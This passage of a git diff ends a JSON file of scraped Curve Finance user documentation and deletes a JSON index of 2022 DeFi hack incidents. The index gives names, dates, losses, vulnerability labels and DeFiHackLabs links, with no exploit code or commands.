Anybody who has vote locked CRV can vote to direct its voting power towards one or multiple Curve pools. How can I vote? Visit this link: https://dao.curve.fi/gaugeweight Select the gauge you would like to put your voting weight towards, enter an amount in BPS (10,000 = 100% the maximum) and confirm your transaction. How often can I move my voting weight? You can change your voting weight once every 10 days. Last update: 2023-08-15 Back to top", "labels": ["Documentation"]}, {"title": "Understanding gauges", "html_url": "https://resources.curve.fi/reward-gauges/understanding-gauges/", "body": "Curve Resources CurveDocs/curve-resources Home Getting Started Getting Started Understanding curve Understanding crypto pools $crvUSD $crvUSD Understanding crvusd Markets Loan creation Loan details Understanding tokenomics FAQ $CRV Token $CRV Token Understanding crv Crv basics Crv tokenomics Staking your crv Claiming trading fees Liquidity Providers Liquidity Providers Understanding curve pools Base and metapools Deposit faqs Calculating yield Depositing Depositing Depositing Depositing into a metapool Depositing into the susd pool Depositing into the tri pool Depositing into the y pool Reward Gauges Reward Gauges Understanding gauges Understanding gauges Table of contents Understanding Gauges The gauge system The weight system The DAO Creating a pool gauge Boosting your crv rewards Gauge weights Governance Governance Understanding governance Vote locking boost Voting Snapshot Proposals Proposals Proposals Community fund Creating a dao proposal Multichain Multichain Understanding multichain Bridging funds Using curve on fantom Using curve on polygon Factory Pools Factory Pools Pool factory Creating a stableswap pool Creating a cryptoswap pool Understanding oracles Troubleshooting Troubleshooting Support Cross asset swaps Recovering a cross asset swap Dropping and replacing a stuck transaction None Appendix Appendix Glossary Security Links Links Curve.fi Curve DAO Github Governance Forum Technical Docs Twitter Techincal Documentation Table of contents Understanding Gauges The gauge system The weight system The DAO Understanding gauges Understanding Gauges Reviewing the gauge system, one of the Curve DAO base feature. The gauge system On Curve Finance, the inflation is going to users who provide liquidity. This usage is measured with gauges. The liquidity gauge measures how much a user is providing in liquidity. The liquidity gauge measures how many dollars you have provided in a Curve pool. Each Curve pool has its own liquidity gauge where you can stake your liquidity provider tokens The weight system Each gauge also has a weight and a type. Those weights represent how much of the daily CRV inflation will be received by the liquidity gauge. The DAO The weight systems allow the Curve DAO to dictate where the CRV inflation should go. You can vote at this address: https://dao.curve.fi/gaugeweight By doing so, you can put your voting power towards the liquidity gauge (or pool) you think should receive the most CRV. Last update: 2023-08-15 Back to top", "labels": ["Documentation"]}, {"title": "Cross asset swaps", "html_url": "https://resources.curve.fi/troubleshooting/cross-asset-swaps/", "body": "Curve Resources CurveDocs/curve-resources Home Getting Started Getting Started Understanding curve Understanding crypto pools $crvUSD $crvUSD Understanding crvusd Markets Loan creation Loan details Understanding tokenomics FAQ $CRV Token $CRV Token Understanding crv Crv basics Crv tokenomics Staking your crv Claiming trading fees Liquidity Providers Liquidity Providers Understanding curve pools Base and metapools Deposit faqs Calculating yield Depositing Depositing Depositing Depositing into a metapool Depositing into the susd pool Depositing into the tri pool Depositing into the y pool Reward Gauges Reward Gauges Understanding gauges Creating a pool gauge Boosting your crv rewards Gauge weights Governance Governance Understanding governance Vote locking boost Voting Snapshot Proposals Proposals Proposals Community fund Creating a dao proposal Multichain Multichain Understanding multichain Bridging funds Using curve on fantom Using curve on polygon Factory Pools Factory Pools Pool factory Creating a stableswap pool Creating a cryptoswap pool Understanding oracles Troubleshooting Troubleshooting Support Cross asset swaps Cross asset swaps Table of contents Cross-Asset Swaps Settlement and completing your trade Technical Docs Recovering a cross asset swap Dropping and replacing a stuck transaction None Appendix Appendix Glossary Security Links Links Curve.fi Curve DAO Github Governance Forum Technical Docs Twitter Techincal Documentation Table of contents Cross-Asset Swaps Settlement and completing your trade Technical Docs Cross asset swaps Cross-Asset Swaps Cross-asset swaps are a new type of swaps on Curve using Synthetix as a bridge. There are a few things to know about them before getting started: They have very little slippage, they can handle seven and eight-figure trades with no slippage They take six minutes due to the Synthetix settlement period and prices can move during that period You can trade any asset as it shares a pool with a synth (sUSD/sETH/sBTC) They are in beta They are expensive (~$80 at 50 gwei) and therefore best suited for large trades They have two parts and thus two transactions Initiating the trade After selecting the two assets you would like to trade, click sell and confirm the first part of your transaction. For the route below, we will go from DAI to sUSD to sBTC to renBTC. The first part of the trade takes you to sBTC. Upon confirmation you will receive an NFT which represents your trade. The trade will immediately enter a settlement period of six minutes. It is best not to close your browser during that period. Settlement and completing your trade After Synthetix settlement period, you will then be able to complete your trade by clicking the Complete trade button. This second part will then take you from sBTC to renBTC. After confirming this transaction, you then receive your renBTC. Technical Docs Read technical docs here: https://curve.readthedocs.io/cross-asset-swaps.html Last update: 2023-08-15 Back to top", "labels": ["Documentation"]}, {"title": "Disabling crypto wallets in brave", "html_url": "https://resources.curve.fi/troubleshooting/disabling-crypto-wallets-in-brave/", "body": "Curve Resources CurveDocs/curve-resources Home Getting Started Getting Started Understanding curve Understanding crypto pools $crvUSD $crvUSD Understanding crvusd Markets Loan creation Loan details Understanding tokenomics FAQ $CRV Token $CRV Token Understanding crv Crv basics Crv tokenomics Staking your crv Claiming trading fees Liquidity Providers Liquidity Providers Understanding curve pools Base and metapools Deposit faqs Calculating yield Depositing Depositing Depositing Depositing into a metapool Depositing into the susd pool Depositing into the tri pool Depositing into the y pool Reward Gauges Reward Gauges Understanding gauges Creating a pool gauge Boosting your crv rewards Gauge weights Governance Governance Understanding governance Vote locking boost Voting Snapshot Proposals Proposals Proposals Community fund Creating a dao proposal Multichain Multichain Understanding multichain Bridging funds Using curve on fantom Using curve on polygon Factory Pools Factory Pools Pool factory Creating a stableswap pool Creating a cryptoswap pool Understanding oracles Troubleshooting Troubleshooting Support Cross asset swaps Recovering a cross asset swap Dropping and replacing a stuck transaction None Appendix Appendix Glossary Security Links Links Curve.fi Curve DAO Github Governance Forum Technical Docs Twitter Techincal Documentation Table of contents Disabling Crypto Wallets in Brave Pointing Brave to Metamask Disabling crypto wallets in brave Disabling Crypto Wallets in Brave The native \"Crypto Wallets\" app in your Brave browser can often interfere with your web3 provider. When using Metamask, it is important to make sure Brave is pointing to it and not its native implementation. Pointing Brave to Metamask Open your web browser, and paste the following in your URL bar: brave://settings/extensions Click the dropdown and switch to Metamask. You can also disable Crypto Wallets on startup. Last update: 2023-08-15 Back to top", "labels": ["Documentation"]}, {"title": "Dropping and replacing a stuck transaction", "html_url": "https://resources.curve.fi/troubleshooting/dropping-and-replacing-a-stuck-transaction/", "body": "Curve Resources CurveDocs/curve-resources Home Getting Started Getting Started Understanding curve Understanding crypto pools $crvUSD $crvUSD Understanding crvusd Markets Loan creation Loan details Understanding tokenomics FAQ $CRV Token $CRV Token Understanding crv Crv basics Crv tokenomics Staking your crv Claiming trading fees Liquidity Providers Liquidity Providers Understanding curve pools Base and metapools Deposit faqs Calculating yield Depositing Depositing Depositing Depositing into a metapool Depositing into the susd pool Depositing into the tri pool Depositing into the y pool Reward Gauges Reward Gauges Understanding gauges Creating a pool gauge Boosting your crv rewards Gauge weights Governance Governance Understanding governance Vote locking boost Voting Snapshot Proposals Proposals Proposals Community fund Creating a dao proposal Multichain Multichain Understanding multichain Bridging funds Using curve on fantom Using curve on polygon Factory Pools Factory Pools Pool factory Creating a stableswap pool Creating a cryptoswap pool Understanding oracles Troubleshooting Troubleshooting Support Cross asset swaps Recovering a cross asset swap Dropping and replacing a stuck transaction Dropping and replacing a stuck transaction Table of contents Dropping and replacing a stuck transaction Enable custom nonce in Metamask Finding your pending transaction nonce Replacing your transaction None Appendix Appendix Glossary Security Links Links Curve.fi Curve DAO Github Governance Forum Technical Docs Twitter Techincal Documentation Table of contents Dropping and replacing a stuck transaction Enable custom nonce in Metamask Finding your pending transaction nonce Replacing your transaction Dropping and replacing a stuck transaction Dropping and replacing a stuck transaction A short tutorial on dropping and replacing a stuck Ethereum transaction. You've submitted a transaction in Metamask and it just won't come through. Those gas estimates betrayed you and you're stuck looking at your pending transaction on Etherscan. It's happened to everyone and it's not pleasant but there's a fairly simple solution which most people will come to learn about. This guide isn't Curve Finance specific but as gas prices are reaching new highs, stuck transactions are getting more common and knowing how to drop and replace is thus become more and more useful. First and foremost, it's important to understand you can only do this if your transaction is pending. If it isn't your transaction cannot be cancelled anymore. If you want to understand how this works, you should know that Ethereum transactions must be submitted with an incremental nonce. Each transaction has a nonce (a number) assigned to it and a number cannot be skipped. The way to replace and drop is to submit a new transaction with a higher gas price and the same nonce. This will tell the miners this more expensive transaction is the one that should be mined and your stuck transaction will be discarded. Enable custom nonce in Metamask Visit Metamask and select \"Settings\", then \"Advanced\" and scroll down to find and enable \"Customize transaction nonce\". Finding your pending transaction nonce Visit your address on Etherscan and click on your pending transaction. If you scroll down you will find \"Nonce\": Write down this nonce and return to Metamask. Replacing your transaction Now that you have your nonce, go back to Ethereum and send yourself 0 Ethereum, on the confirmation screen, type the nonce you got from Etherscan. Make sure your gas price is suitable this time by checking https://ethgasstation.info/ for example. Confirm your transaction and that's it. Your 0 Ethereum transaction should be mined which will drop and replace your stuck transaction which you can confirm on Etherscan. Last update: 2023-08-15 Back to top", "labels": ["Documentation"]}, {"title": "Recovering a cross asset swap", "html_url": "https://resources.curve.fi/troubleshooting/recovering-a-cross-asset-swap/", "body": "Curve Resources CurveDocs/curve-resources Home Getting Started Getting Started Understanding curve Understanding crypto pools $crvUSD $crvUSD Understanding crvusd Markets Loan creation Loan details Understanding tokenomics FAQ $CRV Token $CRV Token Understanding crv Crv basics Crv tokenomics Staking your crv Claiming trading fees Liquidity Providers Liquidity Providers Understanding curve pools Base and metapools Deposit faqs Calculating yield Depositing Depositing Depositing Depositing into a metapool Depositing into the susd pool Depositing into the tri pool Depositing into the y pool Reward Gauges Reward Gauges Understanding gauges Creating a pool gauge Boosting your crv rewards Gauge weights Governance Governance Understanding governance Vote locking boost Voting Snapshot Proposals Proposals Proposals Community fund Creating a dao proposal Multichain Multichain Understanding multichain Bridging funds Using curve on fantom Using curve on polygon Factory Pools Factory Pools Pool factory Creating a stableswap pool Creating a cryptoswap pool Understanding oracles Troubleshooting Troubleshooting Support Cross asset swaps Recovering a cross asset swap Recovering a cross asset swap Table of contents Recovering a cross-asset swap Finding the token id Initiate recovery Dropping and replacing a stuck transaction None Appendix Appendix Glossary Security Links Links Curve.fi Curve DAO Github Governance Forum Technical Docs Twitter Techincal Documentation Table of contents Recovering a cross-asset swap Finding the token id Initiate recovery Recovering a cross asset swap Recovering a cross-asset swap If Curve has lost transaction of your cross asset swap, do not panic, there is a simple way to recover it. Finding the token id Visit your address on Etherscan and click on ERC721: And then click on your latest cross-asset swap, you should find a long string of numbers like below: Initiate recovery Visit: https://www.curve.fi/recover Enter your token id found on Etherscan, enter your the token you would like to receive (if your token has sBTC then it must be a Bitcoin token that shares a pool with sBTC, if your token is sUSD, it should be a token that shares a pool with sUSD) and then click recover. Confirm your transaction and you're done. Last update: 2023-08-15 Back to top", "labels": ["Documentation"]}, {"title": "Support", "html_url": "https://resources.curve.fi/troubleshooting/support/", "body": "Curve Resources CurveDocs/curve-resources Home Getting Started Getting Started Understanding curve Understanding crypto pools $crvUSD $crvUSD Understanding crvusd Markets Loan creation Loan details Understanding tokenomics FAQ $CRV Token $CRV Token Understanding crv Crv basics Crv tokenomics Staking your crv Claiming trading fees Liquidity Providers Liquidity Providers Understanding curve pools Base and metapools Deposit faqs Calculating yield Depositing Depositing Depositing Depositing into a metapool Depositing into the susd pool Depositing into the tri pool Depositing into the y pool Reward Gauges Reward Gauges Understanding gauges Creating a pool gauge Boosting your crv rewards Gauge weights Governance Governance Understanding governance Vote locking boost Voting Snapshot Proposals Proposals Proposals Community fund Creating a dao proposal Multichain Multichain Understanding multichain Bridging funds Using curve on fantom Using curve on polygon Factory Pools Factory Pools Pool factory Creating a stableswap pool Creating a cryptoswap pool Understanding oracles Troubleshooting Troubleshooting Support Support Table of contents Understanding Technical Support Cross asset swaps Recovering a cross asset swap Dropping and replacing a stuck transaction None Appendix Appendix Glossary Security Links Links Curve.fi Curve DAO Github Governance Forum Technical Docs Twitter Techincal Documentation Table of contents Understanding Technical Support Support Understanding Technical Support Curve is to be used entirely at your own risk. Admins have no special keys and cannot recover funds if sent improperly. However, a wide variety of resources are still available to help you avoid issues. If you have questions, please make sure to check with the following sources: This section contains common troubleshooting questions, as does the entirety of this documentation. The technical documentation is a comprehensive resource for coders. The Telegram channel is an active place to seek support. The Discord also has an active support channel. Most users use Curve without issue, however we understand it can be complicated so make sure to ask first and save yourself any possible trouble later! Last update: 2023-08-15 Back to top", "labels": ["Documentation"]}] \ No newline at end of file diff --git a/results/hacklabs_findings.json b/results/hacklabs_findings.json index cbc096a..410416b 100644 --- a/results/hacklabs_findings.json +++ b/results/hacklabs_findings.json @@ -1,1161 +1 @@ -[ - { - "labels": [ - "DAO", - "Insufficient validation" - ], - "date": "2022.10.21", - "title": "OlympusDAO", - "target": "[HACKED] OlympusDAO", - "amount": "$292 K", - "html_url": "https://github.com/SunWeb3Sec/DeFiHackLabs/blob/main/README.md#20221021-bond-protocol---no-input-validation" - }, - { - "labels": [ - "ERC20", - "Miscalculation", - "Pricemanipulation" - ], - "date": "2022.10.20", - "title": "HEALTH", - "target": "[HACKED] HEALTH", - "amount": "16 BNB", - "html_url": "https://github.com/SunWeb3Sec/DeFiHackLabs#20221020-health---transfer-logic-flaw" - }, - { - "labels": [ - "Metaverse", - "Insufficient validation" - ], - "date": "2022.10.20", - "title": "BEGO", - "target": "[HACKED] BEGO", - "amount": "12BNB", - "html_url": "https://github.com/SunWeb3Sec/DeFiHackLabs#20221020-bego---incorrect-signature-verification" - }, - { - "labels": [ - "ERC20", - "Access Control" - ], - "date": "2022.10.18", - "title": "HPAY", - "target": "[HACKED] HPAY", - "amount": "115 BNB", - "html_url": "https://github.com/SunWeb3Sec/DeFiHackLabs#20221018-hpay---access-control" - }, - { - "labels": [ - "ERC20", - "Access Control" - ], - "date": "2022.10.17", - "title": "Uerii", - "target": "[HACKED] Uerii", - "amount": "$2.4 K", - "html_url": "https://github.com/SunWeb3Sec/DeFiHackLabs#20221017-uerii-token---access-control" - }, - { - "labels": [ - "Yield", - "Flashloans", - "Insufficient validation" - ], - "date": "2022.10.14", - "title": "EFLeverVault", - "target": "[HACKED] EFLeverVault", - "amount": "750 ETH", - "html_url": "https://github.com/SunWeb3Sec/DeFiHackLabs#20221014-eflevervault---verify-flashloan-callback" - }, - { - "labels": [ - "MEV", - "Flashloans", - "Insufficient validation" - ], - "date": "2022.10.14", - "title": "MEVBOTa47b", - "target": "[HACKED] MEVBOTa47b", - "amount": "$241 k", - "html_url": "https://github.com/SunWeb3Sec/DeFiHackLabs#20221014-mevbota47b---mevbot-a47b" - }, - { - "labels": [ - "ERC20", - "Pricemanipulation" - ], - "date": "2022.10.12", - "title": "ATK", - "target": "[HACKED] ATK", - "amount": "$127 k", - "html_url": "https://github.com/SunWeb3Sec/DeFiHackLabs#20221012-atk---flashloan-manipulate-price" - }, - { - "labels": [ - "swap", - "Arbitrary call" - ], - "date": "2022.10.11", - "title": "Rabby wallet", - "target": "[HACKED] Rabby wallet", - "amount": "$200,000", - "html_url": "https://github.com/SunWeb3Sec/DeFiHackLabs#20221011-rabby-wallet-swaprouter---arbitrary-external-call-vulnerability" - }, - { - "labels": [ - "Yield", - "Access Control" - ], - "date": "2022.10.11", - "title": "Templedao", - "target": "[HACKED] Templedao", - "amount": "$2.3 M", - "html_url": "https://github.com/SunWeb3Sec/DeFiHackLabs#20221011-templedao---insufficient-access-control" - }, - { - "labels": [ - "Dex/AMM", - "Economic" - ], - "date": "2022.10.11", - "title": "Mango", - "target": "[HACKED] Mango", - "amount": "$47 M" - }, - { - "labels": [ - "Yield", - "Arbitrary call" - ], - "date": "2022.10.10", - "title": "Carrot", - "target": "[HACKED] Carrot", - "html_url": "https://github.com/SunWeb3Sec/DeFiHackLabs#20221010-carrot---public-functioncall" - }, - { - "labels": [ - "Governance", - "MaliciosProposal" - ], - "date": "2022.10.09", - "title": "Xave Finance", - "target": "[HACKED] Xave Finance", - "html_url": "https://github.com/SunWeb3Sec/DeFiHackLabs#20221009-xave-finance---malicious-proposal-mint--transfer-ownership" - }, - { - "labels": [ - "ERC20", - "Flashloans", - "Pricemanipulation" - ], - "date": "2022.10.06", - "title": "RES token", - "target": "[HACKED] RES token", - "amount": "$290K", - "html_url": "https://github.com/SunWeb3Sec/DeFiHackLabs#20221006-RES-Token---pair-manipulate" - }, - { - "labels": [ - "Dex/AMM", - "Insufficient validation" - ], - "date": "2022.10.02", - "title": "Transit Swap", - "target": "[HACKED] Transit Swap", - "amount": "$21 M", - "html_url": "https://github.com/SunWeb3Sec/DeFiHackLabs#20221002-transit-swap---incorrect-owner-address-validation" - }, - { - "labels": [ - "Dex/AMM", - "Insufficient validation" - ], - "date": "2022.10.01", - "title": "BabySwap", - "target": "[HACKED] BabySwap", - "html_url": "https://github.com/SunWeb3Sec/DeFiHackLabs#20221001-babyswap---parameter-access-control" - }, - { - "labels": [ - "ERC20", - "Flashloans", - "Pricemanipulation" - ], - "date": "2022.10.01", - "title": "RL Token", - "target": "[HACKED] RL Token", - "html_url": "https://github.com/SunWeb3Sec/DeFiHackLabs#20221001-RL-Token---Incorrect-Reward-calculation" - }, - { - "labels": [ - "ERC721", - "reentrancy" - ], - "date": "2022.10.01", - "title": "Thunder Brawl", - "target": "[HACKED] Thunder Brawl", - "html_url": "https://github.com/SunWeb3Sec/DeFiHackLabs#20221001-thunder-brawl---reentrancy" - }, - { - "labels": [ - "lending", - "Dex/AMM", - "Flashloans", - "Pricemanipulation" - ], - "date": "2022.09.28", - "title": "BXH", - "target": "[HACKED] BXH", - "amount": "$40,305", - "html_url": "https://github.com/SunWeb3Sec/DeFiHackLabs#20220928-bxh---flashloan--price-oracle-manipulation" - }, - { - "labels": [ - "ERC20", - "Miscalculation" - ], - "date": "2022.09.10", - "title": "DPC", - "target": "[HACKED] DPC", - "amount": "$1.4 M", - "html_url": "https://github.com/SunWeb3Sec/DeFiHackLabs#20220910-dpc---Incorrect-Reward-calculation" - }, - { - "labels": [ - "MEV", - "Arbitrary call" - ], - "date": "2022.09.28", - "title": "MEVBOT - Badc0de", - "target": "[HACKED] MEVBOT - Badc0de", - "amount": "$94,304", - "html_url": "https://github.com/SunWeb3Sec/DeFiHackLabs#20220928-MEVBOT---Badc0de" - }, - { - "labels": [ - "ERC20", - "Flashloans", - "Pricemanipulation" - ], - "date": "2022.09.23", - "title": "RADT-DAO", - "target": "[HACKED] RADT-DAO", - "amount": "$94,304", - "html_url": "https://github.com/SunWeb3Sec/DeFiHackLabs#20220923-RADT-DAO---pair-manipulate" - }, - { - "labels": [ - "MEV", - "Access Control" - ], - "date": "2022.09.13", - "title": "MevBot private tx", - "target": "[HACKED] MevBot private tx", - "amount": "$140 K", - "html_url": "https://github.com/SunWeb3Sec/DeFiHackLabs#20220913-mevbot-private-tx" - }, - { - "labels": [ - "ERC20", - "Flashloans", - "Pricemanipulation", - "reward" - ], - "date": "2022.09.09", - "title": "YYDS", - "target": "[HACKED] YYDS", - "amount": "$742,286", - "html_url": "https://github.com/SunWeb3Sec/DeFiHackLabs#20220909-YYDS---pair-manipulate" - }, - { - "labels": [ - "Deflationary token", - "Flashloans", - "Pricemanipulation" - ], - "date": "2022.09.28", - "title": "Ragnarok Online Invasion", - "target": "[HACKED] Ragnarok Online Invasion", - "amount": "$44,000", - "html_url": "https://github.com/SunWeb3Sec/DeFiHackLabs#20220908-ragnarok-online-invasion---broken-access-control" - }, - { - "labels": [ - "ERC20", - "Flashloans", - "Pricemanipulation", - "reward" - ], - "date": "2022.09.08", - "title": "NewFreeDAO", - "target": "[HACKED] NewFreeDAO", - "amount": "$125M", - "html_url": "https://github.com/SunWeb3Sec/DeFiHackLabs#20220908-newfreedao---flashloans-attack" - }, - { - "labels": [ - "ERC20", - "Flashloans", - "Pricemanipulation" - ], - "date": "2022.09.06", - "title": "NXUSD", - "target": "[HACKED] NXUSD", - "amount": "$50,000", - "html_url": "https://github.com/SunWeb3Sec/DeFiHackLabs#20220906-NXUSD---flashloan-price-oracle-manipulation" - }, - { - "labels": [ - "Flashloans", - "Pricemanipulation", - "Insufficient validation" - ], - "date": "2022.09.05", - "title": "ZoomproFinance", - "target": "[HACKED] ZoomproFinance", - "amount": "$61,160 USDT", - "html_url": "https://github.com/SunWeb3Sec/DeFiHackLabs#20220905-zoomprofinance---flashloans--price-manipulation" - }, - { - "labels": [ - "payment", - "Access Control" - ], - "date": "2022.09.02", - "title": "ShadowFi", - "target": "[HACKED] ShadowFi", - "amount": "1,078 BNB", - "html_url": "https://github.com/SunWeb3Sec/DeFiHackLabs#20220902-shadowfi---access-control" - }, - { - "labels": [ - "NFT", - "Insufficient validation" - ], - "date": "2022.09.02", - "title": "Bad Guys by RPF", - "target": "[HACKED] Bad Guys by RPF", - "amount": "400 NFTs", - "html_url": "https://github.com/SunWeb3Sec/DeFiHackLabs#20220902-bad-guys-by-rpf---business-logic-flaw--missing-check-for-number-of-nft-to-mint" - }, - { - "labels": [ - "NFT", - "Bad randomness" - ], - "date": "2022.08.24", - "title": "LuckeyTiger", - "target": "[HACKED] LuckeyTiger", - "html_url": "https://github.com/SunWeb3Sec/DeFiHackLabs#20220824-luckeytiger-nft---predicting-random-numbers" - }, - { - "labels": [ - "Stablecoin", - "Flashloans", - "Pricemanipulation", - "reward" - ], - "date": "2022.08.10", - "title": "XSTABLE Protocol", - "target": "[HACKED] XSTABLE Protocol", - "html_url": "https://github.com/SunWeb3Sec/DeFiHackLabs#20220810-xstable-protocol---incorrect-logic-check" - }, - { - "labels": [ - "ERC20", - "Flashloans", - "reward", - "Insufficient validation" - ], - "date": "2022.08.09", - "title": "ANCH", - "target": "[HACKED] ANCH", - "html_url": "https://github.com/SunWeb3Sec/DeFiHackLabs#20220809-anch---skim-token-balance" - }, - { - "labels": [ - "Dex/AMM", - "Flashloans", - "Pricemanipulation" - ], - "date": "2022.08.07", - "title": "EGD Finance", - "target": "[HACKED] EGD Finance", - "amount": "$36,044", - "html_url": "https://github.com/SunWeb3Sec/DeFiHackLabs#20220807-egd-finance---flashloans--price-manipulation" - }, - { - "labels": [ - "Bridge", - "Insufficient validation", - "uninitialized" - ], - "date": "2022.08.02", - "title": "Nomad Bridge", - "target": "[HACKED] Nomad Bridge", - "amount": "$152M", - "html_url": "https://github.com/SunWeb3Sec/DeFiHackLabs#20220802-nomad-bridge---business-logic-flaw--incorrect-acceptable-merkle-root-checks" - }, - { - "labels": [ - "ERC4626", - "Access Control" - ], - "date": "2022.08.01", - "title": "Reaper Farm", - "target": "[HACKED] Reaper Farm", - "amount": "$1.7M", - "html_url": "https://github.com/SunWeb3Sec/DeFiHackLabs#20220801-reaper-farm---business-logic-flaw--lack-of-access-control-mechanism" - }, - { - "labels": [ - "ERC20", - "Flashloans", - "Insufficient validation" - ], - "date": "2022.07.25", - "title": "LPC", - "target": "[HACKED] LPC", - "amount": "$45K", - "html_url": "https://github.com/SunWeb3Sec/DeFiHackLabs#20220725-lpc---business-logic-flaw--incorrect-recipient-balance-check-did-not-check-senderrecipient-in-transfer" - }, - { - "labels": [ - "ERC20", - "uninitialized", - "Governance", - "\uff33torage collision" - ], - "date": "2022.07.23", - "title": "Audius", - "target": "[HACKED] Audius", - "amount": "$6M", - "html_url": "https://github.com/SunWeb3Sec/DeFiHackLabs#20220723-audius---storage-collision--malicious-proposal" - }, - { - "labels": [ - "ERC20", - "Flashloans", - "Pricemanipulation", - "Access Control" - ], - "date": "2022.07.13", - "title": "SpaceGodzilla", - "target": "[HACKED] SpaceGodzilla", - "amount": "$26,000", - "html_url": "https://github.com/SunWeb3Sec/DeFiHackLabs#20220713-spacegodzilla---flashloans--price-manipulation" - }, - { - "labels": [ - "ERC721", - "Flashloans", - "reentrancy" - ], - "date": "2022.07.10", - "title": "Omni NFT", - "target": "[HACKED] Omni NFT", - "amount": "$1.4M", - "html_url": "https://github.com/SunWeb3Sec/DeFiHackLabs#20220710-omni-nft---reentrancy" - }, - { - "labels": [ - "NFTMarketplace", - "Insufficient validation", - "Signature" - ], - "date": "2022.07.01", - "title": "Quixotic", - "target": "[HACKED] Quixotic", - "amount": "$100K", - "html_url": "https://github.com/SunWeb3Sec/DeFiHackLabs#20220701-quixotic---optimism-nft-marketplace" - }, - { - "labels": [ - "ERC721", - "Insufficient validation" - ], - "date": "2022.06.26", - "title": "XCarnival", - "target": "[HACKED] XCarnival", - "amount": "$3.87M", - "html_url": "https://github.com/SunWeb3Sec/DeFiHackLabs#20220626-xcarnival---infinite-number-of-loans" - }, - { - "labels": [ - "Bridge", - "KeyCompromised" - ], - "date": "2022.06.27", - "title": "Harmony's Horizon", - "target": "[HACKED] Harmony's Horizon", - "amount": "$100M", - "html_url": "https://github.com/SunWeb3Sec/DeFiHackLabs#20220624-harmonys-horizon-bridge---private-key-compromised" - }, - { - "labels": [ - "ERC777", - "Insufficient validation" - ], - "date": "2022.06.18", - "title": "SNOOD", - "target": "[HACKED] SNOOD", - "amount": "104 ETH", - "html_url": "https://github.com/SunWeb3Sec/DeFiHackLabs#20220618-snood---miscalculation-on-_spendallowance" - }, - { - "labels": [ - "lending", - "Flashloans", - "Pricemanipulation" - ], - "date": "2022.06.16", - "title": "InverseFinance", - "target": "[HACKED] InverseFinance", - "amount": "$1.26M", - "html_url": "https://github.com/SunWeb3Sec/DeFiHackLabs#20220616-inversefinance---flashloan--price-oracle-manipulation" - }, - { - "labels": [ - "ERC20", - "Access Control" - ], - "date": "2022.06.08", - "title": "GYMNetwork", - "target": "[HACKED] GYMNetwork", - "amount": "$2M", - "html_url": "https://github.com/SunWeb3Sec/DeFiHackLabs#20220608-gymnetwork---access-control" - }, - { - "labels": [ - "Bridge", - "Signature" - ], - "date": "2022.06.08", - "title": "Wintermute", - "target": "[HACKED] Wintermute", - "amount": "$3M OP", - "html_url": "https://github.com/SunWeb3Sec/DeFiHackLabs#20220608-optimism---wintermute---signature-replay" - }, - { - "labels": [ - "ERC20", - "Flashloans", - "Pricemanipulation" - ], - "date": "2022.06.06", - "title": "Discover", - "target": "[HACKED] Discover", - "amount": "$49 BNB", - "html_url": "https://github.com/SunWeb3Sec/DeFiHackLabs#20220606-discover---flashloan--price-oracle-manipulation" - }, - { - "labels": [ - "Deflationary token", - "Flashloans", - "Pricemanipulation" - ], - "date": "2022.05.29", - "title": "NOVO Protocol", - "target": "[HACKED] NOVO Protocol", - "amount": "279 BNB", - "html_url": "https://github.com/SunWeb3Sec/DeFiHackLabs#20220529-novo-protocol---flashloan--price-oracle-manipulation" - }, - { - "labels": [ - "DAO", - "Flashloans", - "Pricemanipulation", - "skim" - ], - "date": "2022.05.24", - "title": "HackDao", - "target": "[HACKED] HackDao", - "html_url": "https://github.com/SunWeb3Sec/DeFiHackLabs#20220524-hackdao---skim-token-balance" - }, - { - "labels": [ - "ERC20", - "Flashloans", - "claimTokens" - ], - "date": "2022.05.17", - "title": "ApeCoin", - "target": "[HACKED] ApeCoin", - "amount": "$1.1 million", - "html_url": "https://github.com/SunWeb3Sec/DeFiHackLabs#20220517-apecoin-ape---flashloan" - }, - { - "labels": [ - "lending", - "MaliciosProposal", - "Pricemanipulation" - ], - "date": "2022.05.08", - "title": "Fortress Loans", - "target": "[HACKED] Fortress Loans", - "amount": "$3 M", - "html_url": "https://github.com/SunWeb3Sec/DeFiHackLabs#20220508-fortress-loans---malicious-proposal--price-oracle-manipulation" - }, - { - "labels": [ - "lending", - "Payable", - "Flashloans", - "reentrancy" - ], - "date": "2022.04.30", - "title": "Rari Capital", - "target": "[HACKED] Rari Capital", - "amount": "$80 M", - "html_url": "https://github.com/SunWeb3Sec/DeFiHackLabs#20220430-rari-capitalfei-protocol---flashloan-attack--reentrancy" - }, - { - "labels": [ - "DAO", - "Flashloans", - "Pricemanipulation" - ], - "date": "2022.04.28", - "title": "DEUS DAO", - "target": "[HACKED] DEUS DAO", - "amount": "$13 M", - "html_url": "https://github.com/SunWeb3Sec/DeFiHackLabs#20220428-deus-dao---flashloan--price-oracle-manipulation" - }, - { - "labels": [ - "Deflationary token", - "Flashloans" - ], - "date": "2022.04.24", - "title": "Wiener DOGE", - "target": "[HACKED] Wiener DOGE", - "amount": "78 BNB", - "html_url": "https://github.com/SunWeb3Sec/DeFiHackLabs#20220424-wiener-doge---flashloan" - }, - { - "labels": [ - "ERC721", - "DoS" - ], - "date": "2022.04.23", - "title": "Akutar NFT", - "target": "[HACKED] Akutar NFT", - "amount": "$34 M", - "html_url": "https://github.com/SunWeb3Sec/DeFiHackLabs#20220423-akutar-nft---denial-of-service" - }, - { - "labels": [ - "lending", - "Dex/AMM", - "Flashloans", - "reward" - ], - "date": "2022.04.21", - "title": "Zeed Finance", - "target": "[HACKED] Zeed Finance", - "amount": "$1 M", - "html_url": "https://github.com/SunWeb3Sec/DeFiHackLabs#20220421-zeed-finance---reward-distribution-flaw" - }, - { - "labels": [ - "Stablecoin", - "DAO", - "Flashloans", - "MaliciosProposal" - ], - "date": "2022.04.16", - "title": "BeanstalkFarms", - "target": "[HACKED] BeanstalkFarms", - "amount": "$182 M", - "html_url": "https://github.com/SunWeb3Sec/DeFiHackLabs#20220416-beanstalkfarms---dao--flashloan" - }, - { - "labels": [ - "lending", - "Access Control", - "Pricemanipulation" - ], - "date": "2022.04.15", - "title": "Rikkei Finance", - "target": "[HACKED] Rikkei Finance", - "amount": "$1.1 M", - "html_url": "https://github.com/SunWeb3Sec/DeFiHackLabs#20220415-rikkei-finance---access-control--price-oracle-manipulation" - }, - { - "labels": [ - "Yield", - "Arbitrary call" - ], - "date": "2022.03.26", - "title": "Auctus", - "target": "[HACKED] Auctus", - "amount": "$726 K", - "html_url": "https://github.com/SunWeb3Sec/DeFiHackLabs#20220326-auctus" - }, - { - "labels": [ - "lending", - "Insufficient validation" - ], - "date": "2022.03.22", - "title": "Compound", - "target": "[HACKED] Compound", - "html_url": 